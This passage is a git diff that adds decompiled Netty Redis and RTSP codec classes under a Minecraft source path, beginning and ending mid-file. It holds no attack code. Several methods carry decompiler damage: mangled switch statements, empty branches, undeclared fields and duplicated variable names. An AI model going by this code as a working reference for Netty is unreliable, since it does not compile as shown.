+  protected void decode(ChannelHandlerContext ctx, RedisMessage msg, List<Object> out) throws Exception {
+    if ((msg instanceof ArrayHeaderRedisMessage)) {
+      msg = decodeRedisArrayHeader((ArrayHeaderRedisMessage)msg);
+      if (msg != null) {}
+    }
+    else
+    {
+      ReferenceCountUtil.retain(msg);
+    }
+    
+    while (!depths.isEmpty()) {
+      AggregateState current = (AggregateState)depths.peek();
+      children.add(msg);
+      
+
+      if (children.size() == length) {
+        msg = new ArrayRedisMessage(children);
+        depths.pop();
+      }
+      else {
+        return;
+      }
+    }
+    
+    out.add(msg);
+  }
+  
+  private RedisMessage decodeRedisArrayHeader(ArrayHeaderRedisMessage header) {
+    if (header.isNull())
+      return ArrayRedisMessage.NULL_INSTANCE;
+    if (header.length() == 0L)
+      return ArrayRedisMessage.EMPTY_INSTANCE;
+    if (header.length() > 0L)
+    {
+      if (header.length() > 2147483647L) {
+        throw new CodecException("this codec doesn't support longer length than 2147483647");
+      }
+      
+
+      depths.push(new AggregateState((int)header.length()));
+      return null;
+    }
+    throw new CodecException("bad length: " + header.length());
+  }
+  
+  private static final class AggregateState {
+    private final int length;
+    private final List<RedisMessage> children;
+    
+    AggregateState(int length) {
+      this.length = length;
+      children = new ArrayList(length);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/RedisBulkStringAggregator.java b/src/minecraft/io/netty/handler/codec/redis/RedisBulkStringAggregator.java
new file mode 100644
index 0000000..a5725e8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/RedisBulkStringAggregator.java
@@ -0,0 +1,100 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.MessageAggregator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class RedisBulkStringAggregator
+  extends MessageAggregator<RedisMessage, BulkStringHeaderRedisMessage, BulkStringRedisContent, FullBulkStringRedisMessage>
+{
+  public RedisBulkStringAggregator()
+  {
+    super(536870912);
+  }
+  
+  protected boolean isStartMessage(RedisMessage msg) throws Exception
+  {
+    return ((msg instanceof BulkStringHeaderRedisMessage)) && (!isAggregated(msg));
+  }
+  
+  protected boolean isContentMessage(RedisMessage msg) throws Exception
+  {
+    return msg instanceof BulkStringRedisContent;
+  }
+  
+  protected boolean isLastContentMessage(BulkStringRedisContent msg) throws Exception
+  {
+    return msg instanceof LastBulkStringRedisContent;
+  }
+  
+  protected boolean isAggregated(RedisMessage msg) throws Exception
+  {
+    return msg instanceof FullBulkStringRedisMessage;
+  }
+  
+  protected boolean isContentLengthInvalid(BulkStringHeaderRedisMessage start, int maxContentLength)
+    throws Exception
+  {
+    return start.bulkStringLength() > maxContentLength;
+  }
+  
+  protected Object newContinueResponse(BulkStringHeaderRedisMessage start, int maxContentLength, ChannelPipeline pipeline)
+    throws Exception
+  {
+    return null;
+  }
+  
+  protected boolean closeAfterContinueResponse(Object msg) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected boolean ignoreContentAfterContinueResponse(Object msg) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected FullBulkStringRedisMessage beginAggregation(BulkStringHeaderRedisMessage start, ByteBuf content)
+    throws Exception
+  {
+    return new FullBulkStringRedisMessage(content);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/RedisCodecException.java b/src/minecraft/io/netty/handler/codec/redis/RedisCodecException.java
new file mode 100644
index 0000000..a5fcf4d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/RedisCodecException.java
@@ -0,0 +1,42 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.handler.codec.CodecException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class RedisCodecException
+  extends CodecException
+{
+  private static final long serialVersionUID = 5570454251549268063L;
+  
+  public RedisCodecException(String message)
+  {
+    super(message);
+  }
+  
+
+
+  public RedisCodecException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/RedisCodecUtil.java b/src/minecraft/io/netty/handler/codec/redis/RedisCodecUtil.java
new file mode 100644
index 0000000..6c2301c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/RedisCodecUtil.java
@@ -0,0 +1,55 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.PlatformDependent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class RedisCodecUtil
+{
+  private RedisCodecUtil() {}
+  
+  static byte[] longToAsciiBytes(long value)
+  {
+    return Long.toString(value).getBytes(CharsetUtil.US_ASCII);
+  }
+  
+
+
+  static short makeShort(char first, char second)
+  {
+    return PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? (short)(second << '\b' | first) : (short)(first << '\b' | second);
+  }
+  
+
+
+
+  static byte[] shortToBytes(short value)
+  {
+    byte[] bytes = new byte[2];
+    if (PlatformDependent.BIG_ENDIAN_NATIVE_ORDER) {
+      bytes[1] = ((byte)(value >> 8 & 0xFF));
+      bytes[0] = ((byte)(value & 0xFF));
+    } else {
+      bytes[0] = ((byte)(value >> 8 & 0xFF));
+      bytes[1] = ((byte)(value & 0xFF));
+    }
+    return bytes;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/RedisConstants.java b/src/minecraft/io/netty/handler/codec/redis/RedisConstants.java
new file mode 100644
index 0000000..5485922
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/RedisConstants.java
@@ -0,0 +1,45 @@
+package io.netty.handler.codec.redis;
+
+
+
+
+
+final class RedisConstants
+{
+  static final int TYPE_LENGTH = 1;
+  
+
+
+
+  static final int EOL_LENGTH = 2;
+  
+
+
+
+  static final int NULL_LENGTH = 2;
+  
+
+
+
+  static final int NULL_VALUE = -1;
+  
+
+
+  static final int REDIS_MESSAGE_MAX_LENGTH = 536870912;
+  
+
+
+  static final int POSITIVE_LONG_MAX_LENGTH = 19;
+  
+
+
+  static final int LONG_MAX_LENGTH = 20;
+  
+
+
+  static final short NULL_SHORT = RedisCodecUtil.makeShort('-', '1');
+  
+  static final short EOL_SHORT = RedisCodecUtil.makeShort('\r', '\n');
+  
+  private RedisConstants() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/RedisDecoder.java b/src/minecraft/io/netty/handler/codec/redis/RedisDecoder.java
new file mode 100644
index 0000000..83c9a00
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/RedisDecoder.java
@@ -0,0 +1,309 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import io.netty.util.ByteProcessor;
+import io.netty.util.CharsetUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class RedisDecoder
+  extends ByteToMessageDecoder
+{
+  private final ToPositiveLongProcessor toPositiveLongProcessor = new ToPositiveLongProcessor(null);
+  
+  private final int maxInlineMessageLength;
+  
+  private final RedisMessagePool messagePool;
+  
+  private State state = State.DECODE_TYPE;
+  private RedisMessageType type;
+  private int remainingBulkLength;
+  
+  private static enum State {
+    DECODE_TYPE, 
+    DECODE_INLINE, 
+    DECODE_LENGTH, 
+    DECODE_BULK_STRING_EOL, 
+    DECODE_BULK_STRING_CONTENT;
+    
+
+    private State() {}
+  }
+  
+  public RedisDecoder()
+  {
+    this(65536, FixedRedisMessagePool.INSTANCE);
+  }
+  
+
+
+
+
+  public RedisDecoder(int maxInlineMessageLength, RedisMessagePool messagePool)
+  {
+    if ((maxInlineMessageLength <= 0) || (maxInlineMessageLength > 536870912)) {
+      throw new RedisCodecException("maxInlineMessageLength: " + maxInlineMessageLength + " (expected: <= " + 536870912 + ")");
+    }
+    
+    this.maxInlineMessageLength = maxInlineMessageLength;
+    this.messagePool = messagePool;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception {
+    try {
+      do {
+        do {
+          do { do { do { switch (1.$SwitchMap$io$netty$handler$codec$redis$RedisDecoder$State[state.ordinal()]) {
+                }
+              } while (decodeType(in));
+              return;
+
+
+            }
+            while (decodeInline(in, out));
+            return;
+
+
+          }
+          while (decodeLength(in, out));
+          return;
+
+
+        }
+        while (decodeBulkStringEndOfLine(in, out));
+        return;
+
+
+      }
+      while (decodeBulkStringContent(in, out));
+      return;
+      
+
+
+      throw new RedisCodecException("Unknown state: " + state);
+    }
+    catch (RedisCodecException e)
+    {
+      resetDecoder();
+      throw e;
+    } catch (Exception e) {
+      resetDecoder();
+      throw new RedisCodecException(e);
+    }
+  }
+  
+  private void resetDecoder() {
+    state = State.DECODE_TYPE;
+    remainingBulkLength = 0;
+  }
+  
+  private boolean decodeType(ByteBuf in) throws Exception {
+    if (!in.isReadable()) {
+      return false;
+    }
+    type = RedisMessageType.valueOf(in.readByte());
+    state = (type.isInline() ? State.DECODE_INLINE : State.DECODE_LENGTH);
+    return true;
+  }
+  
+  private boolean decodeInline(ByteBuf in, List<Object> out) throws Exception {
+    ByteBuf lineBytes = readLine(in);
+    if (lineBytes == null) {
+      if (in.readableBytes() > maxInlineMessageLength) {
+        throw new RedisCodecException("length: " + in.readableBytes() + " (expected: <= " + maxInlineMessageLength + ")");
+      }
+      
+      return false;
+    }
+    out.add(newInlineRedisMessage(type, lineBytes));
+    resetDecoder();
+    return true;
+  }
+  
+  private boolean decodeLength(ByteBuf in, List<Object> out) throws Exception {
+    ByteBuf lineByteBuf = readLine(in);
+    if (lineByteBuf == null) {
+      return false;
+    }
+    long length = parseRedisNumber(lineByteBuf);
+    if (length < -1L) {
+      throw new RedisCodecException("length: " + length + " (expected: >= " + -1 + ")");
+    }
+    switch (type) {
+    case ARRAY_HEADER: 
+      out.add(new ArrayHeaderRedisMessage(length));
+      resetDecoder();
+      return true;
+    case BULK_STRING: 
+      if (length > 536870912L) {
+        throw new RedisCodecException("length: " + length + " (expected: <= " + 536870912 + ")");
+      }
+      
+      remainingBulkLength = ((int)length);
+      return decodeBulkString(in, out);
+    }
+    throw new RedisCodecException("bad type: " + type);
+  }
+  
+  private boolean decodeBulkString(ByteBuf in, List<Object> out) throws Exception
+  {
+    switch (remainingBulkLength) {
+    case -1: 
+      out.add(FullBulkStringRedisMessage.NULL_INSTANCE);
+      resetDecoder();
+      return true;
+    case 0: 
+      state = State.DECODE_BULK_STRING_EOL;
+      return decodeBulkStringEndOfLine(in, out);
+    }
+    out.add(new BulkStringHeaderRedisMessage(remainingBulkLength));
+    state = State.DECODE_BULK_STRING_CONTENT;
+    return decodeBulkStringContent(in, out);
+  }
+  
+  private boolean decodeBulkStringEndOfLine(ByteBuf in, List<Object> out)
+    throws Exception
+  {
+    if (in.readableBytes() < 2) {
+      return false;
+    }
+    readEndOfLine(in);
+    out.add(FullBulkStringRedisMessage.EMPTY_INSTANCE);
+    resetDecoder();
+    return true;
+  }
+  
+  private boolean decodeBulkStringContent(ByteBuf in, List<Object> out) throws Exception
+  {
+    int readableBytes = in.readableBytes();
+    if (readableBytes == 0) {
+      return false;
+    }
+    
+
+    if (readableBytes >= remainingBulkLength + 2) {
+      ByteBuf content = in.readSlice(remainingBulkLength);
+      readEndOfLine(in);
+      
+      out.add(new DefaultLastBulkStringRedisContent(content.retain()));
+      resetDecoder();
+      return true;
+    }
+    
+
+    int toRead = Math.min(remainingBulkLength, readableBytes);
+    remainingBulkLength -= toRead;
+    out.add(new DefaultBulkStringRedisContent(in.readSlice(toRead).retain()));
+    return true;
+  }
+  
+  private static void readEndOfLine(ByteBuf in) {
+    short delim = in.readShort();
+    if (RedisConstants.EOL_SHORT == delim) {
+      return;
+    }
+    byte[] bytes = RedisCodecUtil.shortToBytes(delim);
+    throw new RedisCodecException("delimiter: [" + bytes[0] + "," + bytes[1] + "] (expected: \\r\\n)");
+  }
+  
+  private RedisMessage newInlineRedisMessage(RedisMessageType messageType, ByteBuf content) {
+    switch (1.$SwitchMap$io$netty$handler$codec$redis$RedisMessageType[messageType.ordinal()]) {
+    case 3: 
+      SimpleStringRedisMessage cached = messagePool.getSimpleString(content);
+      return cached != null ? cached : new SimpleStringRedisMessage(content.toString(CharsetUtil.UTF_8));
+    
+    case 4: 
+      ErrorRedisMessage cached = messagePool.getError(content);
+      return cached != null ? cached : new ErrorRedisMessage(content.toString(CharsetUtil.UTF_8));
+    
+    case 5: 
+      IntegerRedisMessage cached = messagePool.getInteger(content);
+      return cached != null ? cached : new IntegerRedisMessage(parseRedisNumber(content));
+    }
+    
+    throw new RedisCodecException("bad type: " + messageType);
+  }
+  
+  private static ByteBuf readLine(ByteBuf in)
+  {
+    if (!in.isReadable(2)) {
+      return null;
+    }
+    int lfIndex = in.forEachByte(ByteProcessor.FIND_LF);
+    if (lfIndex < 0) {
+      return null;
+    }
+    ByteBuf data = in.readSlice(lfIndex - in.readerIndex() - 1);
+    readEndOfLine(in);
+    return data;
+  }
+  
+  private long parseRedisNumber(ByteBuf byteBuf) {
+    int readableBytes = byteBuf.readableBytes();
+    boolean negative = (readableBytes > 0) && (byteBuf.getByte(byteBuf.readerIndex()) == 45);
+    int extraOneByteForNegative = negative ? 1 : 0;
+    if (readableBytes <= extraOneByteForNegative) {
+      throw new RedisCodecException("no number to parse: " + byteBuf.toString(CharsetUtil.US_ASCII));
+    }
+    if (readableBytes > 19 + extraOneByteForNegative) {
+      throw new RedisCodecException("too many characters to be a valid RESP Integer: " + byteBuf.toString(CharsetUtil.US_ASCII));
+    }
+    
+    if (negative) {
+      return -parsePositiveNumber(byteBuf.skipBytes(extraOneByteForNegative));
+    }
+    return parsePositiveNumber(byteBuf);
+  }
+  
+  private long parsePositiveNumber(ByteBuf byteBuf) {
+    toPositiveLongProcessor.reset();
+    byteBuf.forEachByte(toPositiveLongProcessor);
+    return toPositiveLongProcessor.content();
+  }
+  
+  private static final class ToPositiveLongProcessor implements ByteProcessor {
+    private long result;
+    
+    private ToPositiveLongProcessor() {}
+    
+    public boolean process(byte value) throws Exception { if ((value < 48) || (value > 57)) {
+        throw new RedisCodecException("bad byte in number: " + value);
+      }
+      result = (result * 10L + (value - 48));
+      return true;
+    }
+    
+    public long content() {
+      return result;
+    }
+    
+    public void reset() {
+      result = 0L;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/RedisEncoder.java b/src/minecraft/io/netty/handler/codec/redis/RedisEncoder.java
new file mode 100644
index 0000000..54ecb71
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/RedisEncoder.java
@@ -0,0 +1,199 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.CodecException;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import io.netty.util.internal.ObjectUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RedisEncoder
+  extends MessageToMessageEncoder<RedisMessage>
+{
+  private final RedisMessagePool messagePool;
+  
+  public RedisEncoder()
+  {
+    this(FixedRedisMessagePool.INSTANCE);
+  }
+  
+
+
+
+  public RedisEncoder(RedisMessagePool messagePool)
+  {
+    this.messagePool = ((RedisMessagePool)ObjectUtil.checkNotNull(messagePool, "messagePool"));
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, RedisMessage msg, List<Object> out) throws Exception
+  {
+    try {
+      writeRedisMessage(ctx.alloc(), msg, out);
+    } catch (CodecException e) {
+      throw e;
+    } catch (Exception e) {
+      throw new CodecException(e);
+    }
+  }
+  
+  private void writeRedisMessage(ByteBufAllocator allocator, RedisMessage msg, List<Object> out) {
+    if ((msg instanceof SimpleStringRedisMessage)) {
+      writeSimpleStringMessage(allocator, (SimpleStringRedisMessage)msg, out);
+    } else if ((msg instanceof ErrorRedisMessage)) {
+      writeErrorMessage(allocator, (ErrorRedisMessage)msg, out);
+    } else if ((msg instanceof IntegerRedisMessage)) {
+      writeIntegerMessage(allocator, (IntegerRedisMessage)msg, out);
+    } else if ((msg instanceof FullBulkStringRedisMessage)) {
+      writeFullBulkStringMessage(allocator, (FullBulkStringRedisMessage)msg, out);
+    } else if ((msg instanceof BulkStringRedisContent)) {
+      writeBulkStringContent(allocator, (BulkStringRedisContent)msg, out);
+    } else if ((msg instanceof BulkStringHeaderRedisMessage)) {
+      writeBulkStringHeader(allocator, (BulkStringHeaderRedisMessage)msg, out);
+    } else if ((msg instanceof ArrayHeaderRedisMessage)) {
+      writeArrayHeader(allocator, (ArrayHeaderRedisMessage)msg, out);
+    } else if ((msg instanceof ArrayRedisMessage)) {
+      writeArrayMessage(allocator, (ArrayRedisMessage)msg, out);
+    } else {
+      throw new CodecException("unknown message type: " + msg);
+    }
+  }
+  
+  private static void writeSimpleStringMessage(ByteBufAllocator allocator, SimpleStringRedisMessage msg, List<Object> out)
+  {
+    writeString(allocator, RedisMessageType.SIMPLE_STRING.value(), msg.content(), out);
+  }
+  
+  private static void writeErrorMessage(ByteBufAllocator allocator, ErrorRedisMessage msg, List<Object> out) {
+    writeString(allocator, RedisMessageType.ERROR.value(), msg.content(), out);
+  }
+  
+  private static void writeString(ByteBufAllocator allocator, byte type, String content, List<Object> out) {
+    ByteBuf buf = allocator.ioBuffer(1 + ByteBufUtil.utf8MaxBytes(content) + 2);
+    
+    buf.writeByte(type);
+    ByteBufUtil.writeUtf8(buf, content);
+    buf.writeShort(RedisConstants.EOL_SHORT);
+    out.add(buf);
+  }
+  
+  private void writeIntegerMessage(ByteBufAllocator allocator, IntegerRedisMessage msg, List<Object> out) {
+    ByteBuf buf = allocator.ioBuffer(23);
+    
+    buf.writeByte(RedisMessageType.INTEGER.value());
+    buf.writeBytes(numberToBytes(msg.value()));
+    buf.writeShort(RedisConstants.EOL_SHORT);
+    out.add(buf);
+  }
+  
+  private void writeBulkStringHeader(ByteBufAllocator allocator, BulkStringHeaderRedisMessage msg, List<Object> out) {
+    ByteBuf buf = allocator.ioBuffer(1 + (msg.isNull() ? 2 : 22));
+    
+
+    buf.writeByte(RedisMessageType.BULK_STRING.value());
+    if (msg.isNull()) {
+      buf.writeShort(RedisConstants.NULL_SHORT);
+    } else {
+      buf.writeBytes(numberToBytes(msg.bulkStringLength()));
+      buf.writeShort(RedisConstants.EOL_SHORT);
+    }
+    out.add(buf);
+  }
+  
+  private static void writeBulkStringContent(ByteBufAllocator allocator, BulkStringRedisContent msg, List<Object> out)
+  {
+    out.add(msg.content().retain());
+    if ((msg instanceof LastBulkStringRedisContent)) {
+      out.add(allocator.ioBuffer(2).writeShort(RedisConstants.EOL_SHORT));
+    }
+  }
+  
+  private void writeFullBulkStringMessage(ByteBufAllocator allocator, FullBulkStringRedisMessage msg, List<Object> out)
+  {
+    if (msg.isNull()) {
+      ByteBuf buf = allocator.ioBuffer(5);
+      
+      buf.writeByte(RedisMessageType.BULK_STRING.value());
+      buf.writeShort(RedisConstants.NULL_SHORT);
+      buf.writeShort(RedisConstants.EOL_SHORT);
+      out.add(buf);
+    } else {
+      ByteBuf headerBuf = allocator.ioBuffer(23);
+      
+      headerBuf.writeByte(RedisMessageType.BULK_STRING.value());
+      headerBuf.writeBytes(numberToBytes(msg.content().readableBytes()));
+      headerBuf.writeShort(RedisConstants.EOL_SHORT);
+      out.add(headerBuf);
+      out.add(msg.content().retain());
+      out.add(allocator.ioBuffer(2).writeShort(RedisConstants.EOL_SHORT));
+    }
+  }
+  
+
+
+  private void writeArrayHeader(ByteBufAllocator allocator, ArrayHeaderRedisMessage msg, List<Object> out)
+  {
+    writeArrayHeader(allocator, msg.isNull(), msg.length(), out);
+  }
+  
+
+
+  private void writeArrayMessage(ByteBufAllocator allocator, ArrayRedisMessage msg, List<Object> out)
+  {
+    if (msg.isNull()) {
+      writeArrayHeader(allocator, msg.isNull(), -1L, out);
+    } else {
+      writeArrayHeader(allocator, msg.isNull(), msg.children().size(), out);
+      for (RedisMessage child : msg.children()) {
+        writeRedisMessage(allocator, child, out);
+      }
+    }
+  }
+  
+  private void writeArrayHeader(ByteBufAllocator allocator, boolean isNull, long length, List<Object> out) {
+    if (isNull) {
+      ByteBuf buf = allocator.ioBuffer(5);
+      
+      buf.writeByte(RedisMessageType.ARRAY_HEADER.value());
+      buf.writeShort(RedisConstants.NULL_SHORT);
+      buf.writeShort(RedisConstants.EOL_SHORT);
+      out.add(buf);
+    } else {
+      ByteBuf buf = allocator.ioBuffer(23);
+      
+      buf.writeByte(RedisMessageType.ARRAY_HEADER.value());
+      buf.writeBytes(numberToBytes(length));
+      buf.writeShort(RedisConstants.EOL_SHORT);
+      out.add(buf);
+    }
+  }
+  
+  private byte[] numberToBytes(long value) {
+    byte[] bytes = messagePool.getByteBufOfInteger(value);
+    return bytes != null ? bytes : RedisCodecUtil.longToAsciiBytes(value);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/RedisMessage.java b/src/minecraft/io/netty/handler/codec/redis/RedisMessage.java
new file mode 100644
index 0000000..766e53f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/RedisMessage.java
@@ -0,0 +1,3 @@
+package io.netty.handler.codec.redis;
+
+public abstract interface RedisMessage {}
diff --git a/src/minecraft/io/netty/handler/codec/redis/RedisMessagePool.java b/src/minecraft/io/netty/handler/codec/redis/RedisMessagePool.java
new file mode 100644
index 0000000..4420a7f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/RedisMessagePool.java
@@ -0,0 +1,20 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.buffer.ByteBuf;
+
+public abstract interface RedisMessagePool
+{
+  public abstract SimpleStringRedisMessage getSimpleString(String paramString);
+  
+  public abstract SimpleStringRedisMessage getSimpleString(ByteBuf paramByteBuf);
+  
+  public abstract ErrorRedisMessage getError(String paramString);
+  
+  public abstract ErrorRedisMessage getError(ByteBuf paramByteBuf);
+  
+  public abstract IntegerRedisMessage getInteger(long paramLong);
+  
+  public abstract IntegerRedisMessage getInteger(ByteBuf paramByteBuf);
+  
+  public abstract byte[] getByteBufOfInteger(long paramLong);
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/RedisMessageType.java b/src/minecraft/io/netty/handler/codec/redis/RedisMessageType.java
new file mode 100644
index 0000000..69cbbbb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/RedisMessageType.java
@@ -0,0 +1,74 @@
+package io.netty.handler.codec.redis;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum RedisMessageType
+{
+  SIMPLE_STRING((byte)43, true), 
+  ERROR((byte)45, true), 
+  INTEGER((byte)58, true), 
+  BULK_STRING((byte)36, false), 
+  ARRAY_HEADER((byte)42, false), 
+  ARRAY((byte)42, false);
+  
+  private final byte value;
+  private final boolean inline;
+  
+  private RedisMessageType(byte value, boolean inline) {
+    this.value = value;
+    this.inline = inline;
+  }
+  
+
+
+  public byte value()
+  {
+    return value;
+  }
+  
+
+
+
+  public boolean isInline()
+  {
+    return inline;
+  }
+  
+
+
+  public static RedisMessageType valueOf(byte value)
+  {
+    switch (value) {
+    case 43: 
+      return SIMPLE_STRING;
+    case 45: 
+      return ERROR;
+    case 58: 
+      return INTEGER;
+    case 36: 
+      return BULK_STRING;
+    case 42: 
+      return ARRAY_HEADER;
+    }
+    throw new RedisCodecException("Unknown RedisMessageType: " + value);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/redis/SimpleStringRedisMessage.java b/src/minecraft/io/netty/handler/codec/redis/SimpleStringRedisMessage.java
new file mode 100644
index 0000000..ed7d95e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/redis/SimpleStringRedisMessage.java
@@ -0,0 +1,40 @@
+package io.netty.handler.codec.redis;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SimpleStringRedisMessage
+  extends AbstractStringRedisMessage
+{
+  public SimpleStringRedisMessage(String content)
+  {
+    super(content);
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '[' + "content=" + content() + ']';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/rtsp/RtspDecoder.java b/src/minecraft/io/netty/handler/codec/rtsp/RtspDecoder.java
new file mode 100644
index 0000000..86226e7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/rtsp/RtspDecoder.java
@@ -0,0 +1,173 @@
+package io.netty.handler.codec.rtsp;
+
+import io.netty.handler.codec.http.DefaultFullHttpRequest;
+import io.netty.handler.codec.http.DefaultFullHttpResponse;
+import io.netty.handler.codec.http.DefaultHttpRequest;
+import io.netty.handler.codec.http.DefaultHttpResponse;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMessage;
+import io.netty.handler.codec.http.HttpObjectDecoder;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RtspDecoder
+  extends HttpObjectDecoder
+{
+  private static final HttpResponseStatus UNKNOWN_STATUS = new HttpResponseStatus(999, "Unknown");
+  
+
+
+
+
+  private boolean isDecodingRequest;
+  
+
+
+
+  private static final Pattern versionPattern = Pattern.compile("RTSP/\\d\\.\\d");
+  
+
+
+
+  public static final int DEFAULT_MAX_INITIAL_LINE_LENGTH = 4096;
+  
+
+
+
+  public static final int DEFAULT_MAX_HEADER_SIZE = 8192;
+  
+
+
+
+  public static final int DEFAULT_MAX_CONTENT_LENGTH = 8192;
+  
+
+
+
+
+  public RtspDecoder()
+  {
+    this(4096, 8192, 8192);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public RtspDecoder(int maxInitialLineLength, int maxHeaderSize, int maxContentLength)
+  {
+    super(maxInitialLineLength, maxHeaderSize, maxContentLength * 2, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public RtspDecoder(int maxInitialLineLength, int maxHeaderSize, int maxContentLength, boolean validateHeaders)
+  {
+    super(maxInitialLineLength, maxHeaderSize, maxContentLength * 2, false, validateHeaders);
+  }
+  
+
+
+
+
+
+
+  protected HttpMessage createMessage(String[] initialLine)
+    throws Exception
+  {
+    if (versionPattern.matcher(initialLine[0]).matches()) {
+      isDecodingRequest = false;
+      return new DefaultHttpResponse(RtspVersions.valueOf(initialLine[0]), new HttpResponseStatus(Integer.parseInt(initialLine[1]), initialLine[2]), validateHeaders);
+    }
+    
+
+
+    isDecodingRequest = true;
+    return new DefaultHttpRequest(RtspVersions.valueOf(initialLine[2]), RtspMethods.valueOf(initialLine[0]), initialLine[1], validateHeaders);
+  }
+  
+
+
+
+
+
+
+  protected boolean isContentAlwaysEmpty(HttpMessage msg)
+  {
+    return (super.isContentAlwaysEmpty(msg)) || (!msg.headers().contains(RtspHeaderNames.CONTENT_LENGTH));
+  }
+  
+  protected HttpMessage createInvalidMessage()
+  {
+    if (isDecodingRequest) {
+      return new DefaultFullHttpRequest(RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "/bad-request", validateHeaders);
+    }
+    
+    return new DefaultFullHttpResponse(RtspVersions.RTSP_1_0, UNKNOWN_STATUS, validateHeaders);
+  }
+  
+
+
+
+  protected boolean isDecodingRequest()
+  {
+    return isDecodingRequest;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/rtsp/RtspEncoder.java b/src/minecraft/io/netty/handler/codec/rtsp/RtspEncoder.java
new file mode 100644
index 0000000..5b002e5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/rtsp/RtspEncoder.java
@@ -0,0 +1,74 @@
+package io.netty.handler.codec.rtsp;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.UnsupportedMessageTypeException;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMessage;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpObjectEncoder;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpResponse;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RtspEncoder
+  extends HttpObjectEncoder<HttpMessage>
+{
+  private static final byte[] CRLF = { 13, 10 };
+  
+  public RtspEncoder() {}
+  
+  public boolean acceptOutboundMessage(Object msg) throws Exception {
+    return (super.acceptOutboundMessage(msg)) && (((msg instanceof HttpRequest)) || ((msg instanceof HttpResponse)));
+  }
+  
+  protected void encodeInitialLine(ByteBuf buf, HttpMessage message)
+    throws Exception
+  {
+    if ((message instanceof HttpRequest)) {
+      HttpRequest request = (HttpRequest)message;
+      HttpHeaders.encodeAscii(request.method().toString(), buf);
+      buf.writeByte(32);
+      buf.writeBytes(request.uri().getBytes(CharsetUtil.UTF_8));
+      buf.writeByte(32);
+      HttpHeaders.encodeAscii(request.protocolVersion().toString(), buf);
+      buf.writeBytes(CRLF);
+    } else if ((message instanceof HttpResponse)) {
+      HttpResponse response = (HttpResponse)message;
+      HttpHeaders.encodeAscii(response.protocolVersion().toString(), buf);
